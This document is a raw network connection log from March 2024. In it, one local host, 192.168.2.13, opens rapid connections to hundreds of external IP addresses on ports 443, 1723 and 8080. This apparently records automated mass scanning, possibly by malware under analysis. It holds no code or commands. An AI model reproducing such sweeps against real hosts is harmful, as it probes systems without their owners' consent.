Mar 21, 2024 05:16:56.493885040 CET	49750	443	192.168.2.13	37.86.64.171
Mar 21, 2024 05:16:56.493886948 CET	60588	443	192.168.2.13	94.185.63.22
Mar 21, 2024 05:16:56.493891954 CET	36648	443	192.168.2.13	94.219.213.139
Mar 21, 2024 05:16:56.493894100 CET	443	60588	94.185.63.22	192.168.2.13
Mar 21, 2024 05:16:56.493902922 CET	49196	443	192.168.2.13	79.250.68.103
Mar 21, 2024 05:16:56.493911982 CET	443	49196	79.250.68.103	192.168.2.13
Mar 21, 2024 05:16:56.493915081 CET	60588	443	192.168.2.13	94.185.63.22
Mar 21, 2024 05:16:56.493918896 CET	51746	443	192.168.2.13	109.16.255.35
Mar 21, 2024 05:16:56.493927002 CET	443	51746	109.16.255.35	192.168.2.13
Mar 21, 2024 05:16:56.493936062 CET	49346	443	192.168.2.13	118.47.104.166
Mar 21, 2024 05:16:56.493942022 CET	443	49346	118.47.104.166	192.168.2.13
Mar 21, 2024 05:16:56.493946075 CET	49196	443	192.168.2.13	79.250.68.103
Mar 21, 2024 05:16:56.493957996 CET	51746	443	192.168.2.13	109.16.255.35
Mar 21, 2024 05:16:56.493993998 CET	54038	443	192.168.2.13	79.115.129.127
Mar 21, 2024 05:16:56.493994951 CET	41530	443	192.168.2.13	79.196.54.90
Mar 21, 2024 05:16:56.493994951 CET	49346	443	192.168.2.13	118.47.104.166
Mar 21, 2024 05:16:56.494004011 CET	443	54038	79.115.129.127	192.168.2.13
Mar 21, 2024 05:16:56.494010925 CET	443	41530	79.196.54.90	192.168.2.13
Mar 21, 2024 05:16:56.494071960 CET	54038	443	192.168.2.13	79.115.129.127
Mar 21, 2024 05:16:56.494087934 CET	41530	443	192.168.2.13	79.196.54.90
Mar 21, 2024 05:16:56.494280100 CET	37200	443	192.168.2.13	212.84.215.89
Mar 21, 2024 05:16:56.494283915 CET	34782	443	192.168.2.13	42.137.58.75
Mar 21, 2024 05:16:56.494292974 CET	443	34782	42.137.58.75	192.168.2.13
Mar 21, 2024 05:16:56.494298935 CET	443	37200	212.84.215.89	192.168.2.13
Mar 21, 2024 05:16:56.494304895 CET	36568	443	192.168.2.13	37.216.127.108
Mar 21, 2024 05:16:56.494311094 CET	443	36568	37.216.127.108	192.168.2.13
Mar 21, 2024 05:16:56.494323015 CET	38336	443	192.168.2.13	109.192.41.99
Mar 21, 2024 05:16:56.494324923 CET	34782	443	192.168.2.13	42.137.58.75
Mar 21, 2024 05:16:56.494328976 CET	443	38336	109.192.41.99	192.168.2.13
Mar 21, 2024 05:16:56.494338989 CET	36568	443	192.168.2.13	37.216.127.108
Mar 21, 2024 05:16:56.494338989 CET	37200	443	192.168.2.13	212.84.215.89
Mar 21, 2024 05:16:56.494349957 CET	53336	443	192.168.2.13	94.43.231.147
Mar 21, 2024 05:16:56.494358063 CET	443	53336	94.43.231.147	192.168.2.13
Mar 21, 2024 05:16:56.494359970 CET	48324	443	192.168.2.13	178.149.38.80
Mar 21, 2024 05:16:56.494364977 CET	443	48324	178.149.38.80	192.168.2.13
Mar 21, 2024 05:16:56.494366884 CET	38336	443	192.168.2.13	109.192.41.99
Mar 21, 2024 05:16:56.494389057 CET	34318	443	192.168.2.13	2.167.48.151
Mar 21, 2024 05:16:56.494389057 CET	53336	443	192.168.2.13	94.43.231.147
Mar 21, 2024 05:16:56.494396925 CET	48324	443	192.168.2.13	178.149.38.80
Mar 21, 2024 05:16:56.494396925 CET	443	34318	2.167.48.151	192.168.2.13
Mar 21, 2024 05:16:56.494426966 CET	50088	443	192.168.2.13	118.230.10.6
Mar 21, 2024 05:16:56.494432926 CET	443	50088	118.230.10.6	192.168.2.13
Mar 21, 2024 05:16:56.494438887 CET	49242	443	192.168.2.13	178.183.177.174
Mar 21, 2024 05:16:56.494438887 CET	33700	443	192.168.2.13	109.86.179.45
Mar 21, 2024 05:16:56.494441986 CET	34318	443	192.168.2.13	2.167.48.151
Mar 21, 2024 05:16:56.494452000 CET	443	49242	178.183.177.174	192.168.2.13
Mar 21, 2024 05:16:56.494462013 CET	443	33700	109.86.179.45	192.168.2.13
Mar 21, 2024 05:16:56.494467020 CET	50088	443	192.168.2.13	118.230.10.6
Mar 21, 2024 05:16:56.494492054 CET	49242	443	192.168.2.13	178.183.177.174
Mar 21, 2024 05:16:56.494492054 CET	33700	443	192.168.2.13	109.86.179.45
Mar 21, 2024 05:16:56.494746923 CET	51010	443	192.168.2.13	94.211.34.205
Mar 21, 2024 05:16:56.494746923 CET	52786	443	192.168.2.13	210.212.17.53
Mar 21, 2024 05:16:56.494754076 CET	443	52786	210.212.17.53	192.168.2.13
Mar 21, 2024 05:16:56.494759083 CET	443	51010	94.211.34.205	192.168.2.13
Mar 21, 2024 05:16:56.494760036 CET	55034	443	192.168.2.13	94.90.239.54
Mar 21, 2024 05:16:56.494765997 CET	443	55034	94.90.239.54	192.168.2.13
Mar 21, 2024 05:16:56.494781017 CET	55934	443	192.168.2.13	178.125.41.218
Mar 21, 2024 05:16:56.494787931 CET	52786	443	192.168.2.13	210.212.17.53
Mar 21, 2024 05:16:56.494787931 CET	443	55934	178.125.41.218	192.168.2.13
Mar 21, 2024 05:16:56.494808912 CET	55034	443	192.168.2.13	94.90.239.54
Mar 21, 2024 05:16:56.494817972 CET	59246	443	192.168.2.13	210.6.111.200
Mar 21, 2024 05:16:56.494820118 CET	58606	443	192.168.2.13	178.18.73.218
Mar 21, 2024 05:16:56.494822025 CET	51010	443	192.168.2.13	94.211.34.205
Mar 21, 2024 05:16:56.494822025 CET	55934	443	192.168.2.13	178.125.41.218
Mar 21, 2024 05:16:56.494822979 CET	443	59246	210.6.111.200	192.168.2.13
Mar 21, 2024 05:16:56.494834900 CET	443	58606	178.18.73.218	192.168.2.13
Mar 21, 2024 05:16:56.494859934 CET	43982	443	192.168.2.13	118.208.87.221
Mar 21, 2024 05:16:56.494860888 CET	59246	443	192.168.2.13	210.6.111.200
Mar 21, 2024 05:16:56.494865894 CET	58606	443	192.168.2.13	178.18.73.218
Mar 21, 2024 05:16:56.494867086 CET	443	43982	118.208.87.221	192.168.2.13
Mar 21, 2024 05:16:56.494870901 CET	43442	443	192.168.2.13	118.44.124.35
Mar 21, 2024 05:16:56.494878054 CET	443	43442	118.44.124.35	192.168.2.13
Mar 21, 2024 05:16:56.494882107 CET	40692	443	192.168.2.13	118.200.22.237
Mar 21, 2024 05:16:56.494893074 CET	443	40692	118.200.22.237	192.168.2.13
Mar 21, 2024 05:16:56.494899988 CET	43982	443	192.168.2.13	118.208.87.221
Mar 21, 2024 05:16:56.494935036 CET	43442	443	192.168.2.13	118.44.124.35
Mar 21, 2024 05:16:56.494934082 CET	40692	443	192.168.2.13	118.200.22.237
Mar 21, 2024 05:16:56.495322943 CET	42578	1723	192.168.2.13	213.67.31.50
Mar 21, 2024 05:16:56.495367050 CET	42578	1723	192.168.2.13	213.29.167.50
Mar 21, 2024 05:16:56.495405912 CET	42578	1723	192.168.2.13	213.40.218.53
Mar 21, 2024 05:16:56.495409966 CET	42578	1723	192.168.2.13	213.5.42.112
Mar 21, 2024 05:16:56.495429993 CET	42578	1723	192.168.2.13	213.220.189.159
Mar 21, 2024 05:16:56.495450974 CET	42578	1723	192.168.2.13	213.1.55.181
Mar 21, 2024 05:16:56.495477915 CET	42578	1723	192.168.2.13	213.60.77.169
Mar 21, 2024 05:16:56.495479107 CET	42578	1723	192.168.2.13	213.19.98.154
Mar 21, 2024 05:16:56.495495081 CET	42578	1723	192.168.2.13	213.227.81.141
Mar 21, 2024 05:16:56.495522976 CET	42578	1723	192.168.2.13	213.232.43.45
Mar 21, 2024 05:16:56.495528936 CET	42578	1723	192.168.2.13	213.178.188.135
Mar 21, 2024 05:16:56.495528936 CET	42578	1723	192.168.2.13	213.140.217.43
Mar 21, 2024 05:16:56.495552063 CET	42578	1723	192.168.2.13	213.170.86.197
Mar 21, 2024 05:16:56.495577097 CET	42578	1723	192.168.2.13	213.46.91.106
Mar 21, 2024 05:16:56.495579958 CET	42578	1723	192.168.2.13	213.147.29.68
Mar 21, 2024 05:16:56.495592117 CET	42578	1723	192.168.2.13	213.56.56.65
Mar 21, 2024 05:16:56.495621920 CET	42578	1723	192.168.2.13	213.146.26.150
Mar 21, 2024 05:16:56.495624065 CET	42578	1723	192.168.2.13	213.63.106.222
Mar 21, 2024 05:16:56.495624065 CET	42578	1723	192.168.2.13	213.3.141.44
Mar 21, 2024 05:16:56.495651960 CET	42578	1723	192.168.2.13	213.37.108.105
Mar 21, 2024 05:16:56.495672941 CET	42578	1723	192.168.2.13	213.168.204.73
Mar 21, 2024 05:16:56.495675087 CET	42578	1723	192.168.2.13	213.48.124.21
Mar 21, 2024 05:16:56.495690107 CET	42578	1723	192.168.2.13	213.212.216.222
Mar 21, 2024 05:16:56.495702028 CET	42578	1723	192.168.2.13	213.246.235.166
Mar 21, 2024 05:16:56.495724916 CET	42578	1723	192.168.2.13	213.151.49.153
Mar 21, 2024 05:16:56.495762110 CET	42578	1723	192.168.2.13	213.25.120.49
Mar 21, 2024 05:16:56.495830059 CET	42578	1723	192.168.2.13	213.231.226.24
Mar 21, 2024 05:16:56.495830059 CET	42578	1723	192.168.2.13	213.29.11.212
Mar 21, 2024 05:16:56.495858908 CET	42578	1723	192.168.2.13	213.186.27.35
Mar 21, 2024 05:16:56.495858908 CET	42578	1723	192.168.2.13	213.182.139.220
Mar 21, 2024 05:16:56.495868921 CET	42578	1723	192.168.2.13	213.121.123.96
Mar 21, 2024 05:16:56.495898962 CET	42578	1723	192.168.2.13	213.94.7.137
Mar 21, 2024 05:16:56.495907068 CET	42578	1723	192.168.2.13	213.140.116.207
Mar 21, 2024 05:16:56.495929956 CET	42578	1723	192.168.2.13	213.161.44.68
Mar 21, 2024 05:16:56.495939016 CET	42578	1723	192.168.2.13	213.233.62.184
Mar 21, 2024 05:16:56.495939016 CET	42578	1723	192.168.2.13	213.191.191.242
Mar 21, 2024 05:16:56.495968103 CET	42578	1723	192.168.2.13	213.178.188.71
Mar 21, 2024 05:16:56.495982885 CET	42578	1723	192.168.2.13	213.150.132.202
Mar 21, 2024 05:16:56.495997906 CET	42578	1723	192.168.2.13	213.222.7.237
Mar 21, 2024 05:16:56.496004105 CET	42578	1723	192.168.2.13	213.80.199.167
Mar 21, 2024 05:16:56.496031046 CET	42578	1723	192.168.2.13	213.200.37.82
Mar 21, 2024 05:16:56.496067047 CET	42578	1723	192.168.2.13	213.102.217.87
Mar 21, 2024 05:16:56.496067047 CET	42578	1723	192.168.2.13	213.93.128.173
Mar 21, 2024 05:16:56.496067047 CET	42578	1723	192.168.2.13	213.90.167.217
Mar 21, 2024 05:16:56.496082067 CET	42578	1723	192.168.2.13	213.150.112.110
Mar 21, 2024 05:16:56.496089935 CET	42578	1723	192.168.2.13	213.151.203.105
Mar 21, 2024 05:16:56.496126890 CET	42578	1723	192.168.2.13	213.83.241.237
Mar 21, 2024 05:16:56.496126890 CET	42578	1723	192.168.2.13	213.172.199.158
Mar 21, 2024 05:16:56.496150970 CET	42578	1723	192.168.2.13	213.51.237.19
Mar 21, 2024 05:16:56.496153116 CET	42578	1723	192.168.2.13	213.4.166.50
Mar 21, 2024 05:16:56.496169090 CET	42578	1723	192.168.2.13	213.174.114.19
Mar 21, 2024 05:16:56.496169090 CET	42578	1723	192.168.2.13	213.249.88.164
Mar 21, 2024 05:16:56.496192932 CET	42578	1723	192.168.2.13	213.37.251.159
Mar 21, 2024 05:16:56.496197939 CET	42578	1723	192.168.2.13	213.70.91.133
Mar 21, 2024 05:16:56.496227026 CET	42578	1723	192.168.2.13	213.16.128.51
Mar 21, 2024 05:16:56.496233940 CET	42578	1723	192.168.2.13	213.121.98.249
Mar 21, 2024 05:16:56.496238947 CET	42578	1723	192.168.2.13	213.199.218.36
Mar 21, 2024 05:16:56.496277094 CET	42578	1723	192.168.2.13	213.163.19.99
Mar 21, 2024 05:16:56.496300936 CET	42578	1723	192.168.2.13	213.212.233.177
Mar 21, 2024 05:16:56.496309042 CET	42578	1723	192.168.2.13	213.89.220.231
Mar 21, 2024 05:16:56.496315002 CET	42578	1723	192.168.2.13	213.107.245.204
Mar 21, 2024 05:16:56.496330976 CET	42578	1723	192.168.2.13	213.228.245.102
Mar 21, 2024 05:16:56.496364117 CET	42578	1723	192.168.2.13	213.192.228.35
Mar 21, 2024 05:16:56.496378899 CET	42578	1723	192.168.2.13	213.125.238.106
Mar 21, 2024 05:16:56.496395111 CET	42578	1723	192.168.2.13	213.163.250.107
Mar 21, 2024 05:16:56.496417046 CET	42578	1723	192.168.2.13	213.87.34.116
Mar 21, 2024 05:16:56.496418953 CET	42578	1723	192.168.2.13	213.214.64.67
Mar 21, 2024 05:16:56.496450901 CET	42578	1723	192.168.2.13	213.125.103.40
Mar 21, 2024 05:16:56.496455908 CET	42578	1723	192.168.2.13	213.32.148.151
Mar 21, 2024 05:16:56.496471882 CET	42578	1723	192.168.2.13	213.21.193.171
Mar 21, 2024 05:16:56.496474981 CET	42578	1723	192.168.2.13	213.182.3.94
Mar 21, 2024 05:16:56.496515989 CET	42578	1723	192.168.2.13	213.237.38.170
Mar 21, 2024 05:16:56.496516943 CET	42578	1723	192.168.2.13	213.82.9.177
Mar 21, 2024 05:16:56.496519089 CET	42578	1723	192.168.2.13	213.171.138.84
Mar 21, 2024 05:16:56.496530056 CET	42578	1723	192.168.2.13	213.133.75.123
Mar 21, 2024 05:16:56.496551037 CET	42578	1723	192.168.2.13	213.196.79.161
Mar 21, 2024 05:16:56.496556044 CET	42578	1723	192.168.2.13	213.35.241.25
Mar 21, 2024 05:16:56.496568918 CET	42578	1723	192.168.2.13	213.184.1.61
Mar 21, 2024 05:16:56.496593952 CET	42578	1723	192.168.2.13	213.155.15.59
Mar 21, 2024 05:16:56.496602058 CET	42578	1723	192.168.2.13	213.181.89.105
Mar 21, 2024 05:16:56.496623993 CET	42578	1723	192.168.2.13	213.135.132.50
Mar 21, 2024 05:16:56.496639013 CET	42578	1723	192.168.2.13	213.235.218.153
Mar 21, 2024 05:16:56.496654987 CET	42578	1723	192.168.2.13	213.247.94.81
Mar 21, 2024 05:16:56.496671915 CET	42578	1723	192.168.2.13	213.236.221.98
Mar 21, 2024 05:16:56.496679068 CET	42578	1723	192.168.2.13	213.54.171.41
Mar 21, 2024 05:16:56.496696949 CET	42578	1723	192.168.2.13	213.140.169.33
Mar 21, 2024 05:16:56.496715069 CET	42578	1723	192.168.2.13	213.52.211.153
Mar 21, 2024 05:16:56.496731043 CET	42578	1723	192.168.2.13	213.173.207.172
Mar 21, 2024 05:16:56.496733904 CET	42578	1723	192.168.2.13	213.204.100.175
Mar 21, 2024 05:16:56.496746063 CET	42578	1723	192.168.2.13	213.255.87.237
Mar 21, 2024 05:16:56.496762991 CET	42578	1723	192.168.2.13	213.231.107.169
Mar 21, 2024 05:16:56.496820927 CET	42578	1723	192.168.2.13	213.211.2.114
Mar 21, 2024 05:16:56.496825933 CET	42578	1723	192.168.2.13	213.12.218.254
Mar 21, 2024 05:16:56.496825933 CET	42578	1723	192.168.2.13	213.184.150.8
Mar 21, 2024 05:16:56.496844053 CET	42578	1723	192.168.2.13	213.35.147.184
Mar 21, 2024 05:16:56.496860027 CET	42578	1723	192.168.2.13	213.178.224.85
Mar 21, 2024 05:16:56.496860981 CET	42578	1723	192.168.2.13	213.151.206.88
Mar 21, 2024 05:16:56.496862888 CET	42578	1723	192.168.2.13	213.245.153.250
Mar 21, 2024 05:16:56.496917009 CET	42578	1723	192.168.2.13	213.142.208.82
Mar 21, 2024 05:16:56.496918917 CET	42578	1723	192.168.2.13	213.44.74.52
Mar 21, 2024 05:16:56.496923923 CET	42578	1723	192.168.2.13	213.20.192.162
Mar 21, 2024 05:16:56.496929884 CET	42578	1723	192.168.2.13	213.150.161.81
Mar 21, 2024 05:16:56.496951103 CET	42578	1723	192.168.2.13	213.162.212.161
Mar 21, 2024 05:16:56.496970892 CET	42578	1723	192.168.2.13	213.134.162.128
Mar 21, 2024 05:16:56.496984959 CET	42578	1723	192.168.2.13	213.26.112.242
Mar 21, 2024 05:16:56.497004032 CET	42578	1723	192.168.2.13	213.37.197.90
Mar 21, 2024 05:16:56.497009993 CET	42578	1723	192.168.2.13	213.213.129.120
Mar 21, 2024 05:16:56.497034073 CET	42578	1723	192.168.2.13	213.150.162.0
Mar 21, 2024 05:16:56.497051954 CET	42578	1723	192.168.2.13	213.239.47.217
Mar 21, 2024 05:16:56.497051954 CET	42578	1723	192.168.2.13	213.165.61.152
Mar 21, 2024 05:16:56.497066975 CET	42578	1723	192.168.2.13	213.237.212.61
Mar 21, 2024 05:16:56.497077942 CET	42578	1723	192.168.2.13	213.217.119.46
Mar 21, 2024 05:16:56.497107029 CET	42578	1723	192.168.2.13	213.8.28.34
Mar 21, 2024 05:16:56.497134924 CET	42578	1723	192.168.2.13	213.45.210.86
Mar 21, 2024 05:16:56.497139931 CET	42578	1723	192.168.2.13	213.150.95.48
Mar 21, 2024 05:16:56.497140884 CET	42578	1723	192.168.2.13	213.30.235.199
Mar 21, 2024 05:16:56.497157097 CET	43346	8080	192.168.2.13	187.59.31.50
Mar 21, 2024 05:16:56.497162104 CET	42578	1723	192.168.2.13	213.254.212.34
Mar 21, 2024 05:16:56.497165918 CET	42578	1723	192.168.2.13	213.32.76.57
Mar 21, 2024 05:16:56.497179985 CET	42578	1723	192.168.2.13	213.130.34.128
Mar 21, 2024 05:16:56.497205973 CET	42578	1723	192.168.2.13	213.60.47.93
Mar 21, 2024 05:16:56.497222900 CET	43346	8080	192.168.2.13	187.101.167.50
Mar 21, 2024 05:16:56.497222900 CET	42578	1723	192.168.2.13	213.227.87.211
Mar 21, 2024 05:16:56.497222900 CET	43346	8080	192.168.2.13	189.126.234.115
Mar 21, 2024 05:16:56.497237921 CET	43346	8080	192.168.2.13	201.100.126.156
Mar 21, 2024 05:16:56.497241974 CET	43346	8080	192.168.2.13	187.245.7.54
Mar 21, 2024 05:16:56.497241974 CET	42578	1723	192.168.2.13	213.243.156.7
Mar 21, 2024 05:16:56.497257948 CET	43346	8080	192.168.2.13	187.168.52.46
Mar 21, 2024 05:16:56.497257948 CET	43346	8080	192.168.2.13	187.199.234.168
Mar 21, 2024 05:16:56.497262955 CET	42578	1723	192.168.2.13	213.223.24.174
Mar 21, 2024 05:16:56.497262955 CET	43346	8080	192.168.2.13	187.128.188.105
Mar 21, 2024 05:16:56.497268915 CET	43346	8080	192.168.2.13	201.133.97.14
Mar 21, 2024 05:16:56.497268915 CET	43346	8080	192.168.2.13	201.202.88.202
Mar 21, 2024 05:16:56.497272968 CET	43346	8080	192.168.2.13	189.247.23.67
Mar 21, 2024 05:16:56.497273922 CET	43346	8080	192.168.2.13	189.160.213.137
Mar 21, 2024 05:16:56.497284889 CET	42578	1723	192.168.2.13	213.215.50.248
Mar 21, 2024 05:16:56.497303009 CET	43346	8080	192.168.2.13	187.83.129.127
Mar 21, 2024 05:16:56.497304916 CET	43346	8080	192.168.2.13	187.227.67.130
Mar 21, 2024 05:16:56.497304916 CET	43346	8080	192.168.2.13	201.234.248.215
Mar 21, 2024 05:16:56.497304916 CET	43346	8080	192.168.2.13	189.91.5.216
Mar 21, 2024 05:16:56.497308969 CET	43346	8080	192.168.2.13	189.153.121.102
Mar 21, 2024 05:16:56.497311115 CET	43346	8080	192.168.2.13	187.222.230.200
Mar 21, 2024 05:16:56.497311115 CET	42578	1723	192.168.2.13	213.205.133.130
Mar 21, 2024 05:16:56.497328043 CET	43346	8080	192.168.2.13	187.250.130.48
Mar 21, 2024 05:16:56.497337103 CET	42578	1723	192.168.2.13	213.29.129.127
Mar 21, 2024 05:16:56.497343063 CET	43346	8080	192.168.2.13	187.73.76.180
Mar 21, 2024 05:16:56.497343063 CET	43346	8080	192.168.2.13	201.184.23.154
Mar 21, 2024 05:16:56.497343063 CET	43346	8080	192.168.2.13	201.13.33.248
Mar 21, 2024 05:16:56.497349977 CET	43346	8080	192.168.2.13	189.31.209.154
Mar 21, 2024 05:16:56.497369051 CET	43346	8080	192.168.2.13	201.104.152.114
Mar 21, 2024 05:16:56.497378111 CET	42578	1723	192.168.2.13	213.212.63.167
Mar 21, 2024 05:16:56.497378111 CET	42578	1723	192.168.2.13	213.71.180.82
Mar 21, 2024 05:16:56.497378111 CET	43346	8080	192.168.2.13	189.204.54.18
Mar 21, 2024 05:16:56.497378111 CET	43346	8080	192.168.2.13	201.109.34.169
Mar 21, 2024 05:16:56.497378111 CET	43346	8080	192.168.2.13	201.157.163.179
Mar 21, 2024 05:16:56.497378111 CET	43346	8080	192.168.2.13	187.231.163.82
Mar 21, 2024 05:16:56.497380972 CET	42578	1723	192.168.2.13	213.231.35.37
Mar 21, 2024 05:16:56.497380972 CET	43346	8080	192.168.2.13	187.214.219.116
Mar 21, 2024 05:16:56.497391939 CET	43346	8080	192.168.2.13	187.117.161.219
Mar 21, 2024 05:16:56.497412920 CET	42578	1723	192.168.2.13	213.163.87.1
Mar 21, 2024 05:16:56.497412920 CET	43346	8080	192.168.2.13	189.70.237.187
Mar 21, 2024 05:16:56.497416019 CET	42578	1723	192.168.2.13	213.88.48.45
Mar 21, 2024 05:16:56.497421026 CET	43346	8080	192.168.2.13	201.83.212.58
Mar 21, 2024 05:16:56.497421026 CET	43346	8080	192.168.2.13	189.104.21.107
Mar 21, 2024 05:16:56.497421026 CET	43346	8080	192.168.2.13	201.107.186.113
Mar 21, 2024 05:16:56.497428894 CET	43346	8080	192.168.2.13	189.192.223.121
Mar 21, 2024 05:16:56.497432947 CET	43346	8080	192.168.2.13	189.69.113.252
Mar 21, 2024 05:16:56.497445107 CET	43346	8080	192.168.2.13	187.247.215.178
Mar 21, 2024 05:16:56.497454882 CET	42578	1723	192.168.2.13	213.50.184.45
Mar 21, 2024 05:16:56.497454882 CET	43346	8080	192.168.2.13	187.54.13.215
Mar 21, 2024 05:16:56.497454882 CET	42578	1723	192.168.2.13	213.198.127.83
Mar 21, 2024 05:16:56.497454882 CET	42578	1723	192.168.2.13	213.79.91.73
Mar 21, 2024 05:16:56.497467041 CET	43346	8080	192.168.2.13	189.238.102.252
Mar 21, 2024 05:16:56.497473955 CET	43346	8080	192.168.2.13	187.32.18.94
Mar 21, 2024 05:16:56.497474909 CET	43346	8080	192.168.2.13	189.64.254.112
Mar 21, 2024 05:16:56.497474909 CET	42578	1723	192.168.2.13	213.220.168.33
Mar 21, 2024 05:16:56.497474909 CET	43346	8080	192.168.2.13	187.87.240.93
Mar 21, 2024 05:16:56.497474909 CET	42578	1723	192.168.2.13	213.120.20.244
Mar 21, 2024 05:16:56.497474909 CET	43346	8080	192.168.2.13	189.233.3.152
Mar 21, 2024 05:16:56.497489929 CET	43346	8080	192.168.2.13	201.50.26.139
Mar 21, 2024 05:16:56.497489929 CET	42578	1723	192.168.2.13	213.142.141.96
Mar 21, 2024 05:16:56.497498035 CET	43346	8080	192.168.2.13	187.75.151.233
Mar 21, 2024 05:16:56.497503042 CET	43346	8080	192.168.2.13	201.88.41.203
Mar 21, 2024 05:16:56.497513056 CET	42578	1723	192.168.2.13	213.168.232.83
Mar 21, 2024 05:16:56.497529030 CET	42578	1723	192.168.2.13	213.224.125.88
Mar 21, 2024 05:16:56.497538090 CET	43346	8080	192.168.2.13	201.208.34.8
Mar 21, 2024 05:16:56.497538090 CET	43346	8080	192.168.2.13	201.32.159.234
Mar 21, 2024 05:16:56.497538090 CET	42578	1723	192.168.2.13	213.45.83.52
Mar 21, 2024 05:16:56.497548103 CET	43346	8080	192.168.2.13	201.96.112.54
Mar 21, 2024 05:16:56.497569084 CET	43346	8080	192.168.2.13	189.142.128.183
Mar 21, 2024 05:16:56.497582912 CET	43346	8080	192.168.2.13	187.242.216.30
Mar 21, 2024 05:16:56.497584105 CET	43346	8080	192.168.2.13	187.21.124.175
Mar 21, 2024 05:16:56.497584105 CET	42578	1723	192.168.2.13	213.135.109.167
Mar 21, 2024 05:16:56.497584105 CET	43346	8080	192.168.2.13	201.186.191.74
Mar 21, 2024 05:16:56.497591972 CET	43346	8080	192.168.2.13	201.128.78.5
Mar 21, 2024 05:16:56.497591972 CET	43346	8080	192.168.2.13	201.66.82.122
Mar 21, 2024 05:16:56.497615099 CET	43346	8080	192.168.2.13	189.7.220.28
Mar 21, 2024 05:16:56.497615099 CET	43346	8080	192.168.2.13	201.31.171.155
Mar 21, 2024 05:16:56.497615099 CET	42578	1723	192.168.2.13	213.160.68.182
Mar 21, 2024 05:16:56.497617006 CET	43346	8080	192.168.2.13	187.131.160.169
Mar 21, 2024 05:16:56.497620106 CET	43346	8080	192.168.2.13	187.230.33.148
Mar 21, 2024 05:16:56.497622967 CET	42578	1723	192.168.2.13	213.132.146.126
Mar 21, 2024 05:16:56.497622967 CET	43346	8080	192.168.2.13	201.6.66.6
Mar 21, 2024 05:16:56.497642040 CET	43346	8080	192.168.2.13	189.63.198.230
Mar 21, 2024 05:16:56.497642040 CET	42578	1723	192.168.2.13	213.30.237.155
Mar 21, 2024 05:16:56.497646093 CET	43346	8080	192.168.2.13	189.210.136.197
Mar 21, 2024 05:16:56.497646093 CET	43346	8080	192.168.2.13	201.52.204.36
Mar 21, 2024 05:16:56.497647047 CET	43346	8080	192.168.2.13	189.17.233.2
Mar 21, 2024 05:16:56.497654915 CET	43346	8080	192.168.2.13	201.248.165.187
Mar 21, 2024 05:16:56.497654915 CET	43346	8080	192.168.2.13	201.165.116.207
Mar 21, 2024 05:16:56.497675896 CET	42578	1723	192.168.2.13	213.97.231.134
Mar 21, 2024 05:16:56.497678995 CET	42578	1723	192.168.2.13	213.120.81.154
Mar 21, 2024 05:16:56.497678995 CET	43346	8080	192.168.2.13	189.109.146.226
Mar 21, 2024 05:16:56.497688055 CET	43346	8080	192.168.2.13	187.210.173.221
Mar 21, 2024 05:16:56.497704029 CET	43346	8080	192.168.2.13	187.40.29.241
Mar 21, 2024 05:16:56.497705936 CET	42578	1723	192.168.2.13	213.118.90.155
Mar 21, 2024 05:16:56.497710943 CET	43346	8080	192.168.2.13	201.53.179.55
Mar 21, 2024 05:16:56.497710943 CET	43346	8080	192.168.2.13	189.112.5.248
Mar 21, 2024 05:16:56.497729063 CET	43346	8080	192.168.2.13	189.231.30.235
Mar 21, 2024 05:16:56.497729063 CET	42578	1723	192.168.2.13	213.57.168.52
Mar 21, 2024 05:16:56.497731924 CET	42578	1723	192.168.2.13	213.134.134.35
Mar 21, 2024 05:16:56.497731924 CET	43346	8080	192.168.2.13	201.207.42.219
Mar 21, 2024 05:16:56.497735977 CET	43346	8080	192.168.2.13	189.52.39.209
Mar 21, 2024 05:16:56.497735977 CET	43346	8080	192.168.2.13	201.211.183.77
Mar 21, 2024 05:16:56.497739077 CET	43346	8080	192.168.2.13	189.178.33.244
Mar 21, 2024 05:16:56.497740030 CET	43346	8080	192.168.2.13	201.221.217.148
Mar 21, 2024 05:16:56.497740030 CET	43346	8080	192.168.2.13	189.209.43.86
Mar 21, 2024 05:16:56.497747898 CET	43346	8080	192.168.2.13	201.153.85.30
Mar 21, 2024 05:16:56.497750044 CET	42578	1723	192.168.2.13	213.216.102.90
Mar 21, 2024 05:16:56.497750998 CET	43346	8080	192.168.2.13	187.37.43.88
Mar 21, 2024 05:16:56.497750998 CET	43346	8080	192.168.2.13	189.54.232.109
Mar 21, 2024 05:16:56.497750998 CET	43346	8080	192.168.2.13	189.24.31.108
Mar 21, 2024 05:16:56.497772932 CET	43346	8080	192.168.2.13	189.149.240.53
Mar 21, 2024 05:16:56.497775078 CET	43346	8080	192.168.2.13	201.254.115.192
Mar 21, 2024 05:16:56.497783899 CET	43346	8080	192.168.2.13	189.143.231.251
Mar 21, 2024 05:16:56.497783899 CET	42578	1723	192.168.2.13	213.207.228.105
Mar 21, 2024 05:16:56.497790098 CET	42578	1723	192.168.2.13	213.234.187.231
Mar 21, 2024 05:16:56.497786999 CET	42578	1723	192.168.2.13	213.218.72.162
Mar 21, 2024 05:16:56.497788906 CET	43346	8080	192.168.2.13	201.144.118.252
Mar 21, 2024 05:16:56.497790098 CET	43346	8080	192.168.2.13	187.129.253.1
Mar 21, 2024 05:16:56.497790098 CET	43346	8080	192.168.2.13	189.15.221.33
Mar 21, 2024 05:16:56.497790098 CET	43346	8080	192.168.2.13	189.218.76.137
Mar 21, 2024 05:16:56.497790098 CET	43346	8080	192.168.2.13	201.144.212.30
Mar 21, 2024 05:16:56.497802973 CET	43346	8080	192.168.2.13	187.238.37.155
Mar 21, 2024 05:16:56.497812986 CET	43346	8080	192.168.2.13	189.109.162.45
Mar 21, 2024 05:16:56.497813940 CET	42578	1723	192.168.2.13	213.155.134.28
Mar 21, 2024 05:16:56.497814894 CET	42578	1723	192.168.2.13	213.227.135.46
Mar 21, 2024 05:16:56.497814894 CET	43346	8080	192.168.2.13	189.33.126.115
Mar 21, 2024 05:16:56.497814894 CET	43346	8080	192.168.2.13	201.248.1.153
Mar 21, 2024 05:16:56.497814894 CET	43346	8080	192.168.2.13	201.158.15.186
Mar 21, 2024 05:16:56.497823000 CET	42578	1723	192.168.2.13	213.171.4.62
Mar 21, 2024 05:16:56.497844934 CET	42578	1723	192.168.2.13	213.115.92.170
Mar 21, 2024 05:16:56.497847080 CET	43346	8080	192.168.2.13	187.83.48.35
Mar 21, 2024 05:16:56.497854948 CET	42578	1723	192.168.2.13	213.54.182.202
Mar 21, 2024 05:16:56.497854948 CET	43346	8080	192.168.2.13	187.9.151.217
Mar 21, 2024 05:16:56.497863054 CET	42578	1723	192.168.2.13	213.43.119.56
Mar 21, 2024 05:16:56.497868061 CET	43346	8080	192.168.2.13	201.17.158.146
Mar 21, 2024 05:16:56.497875929 CET	43346	8080	192.168.2.13	189.73.211.60
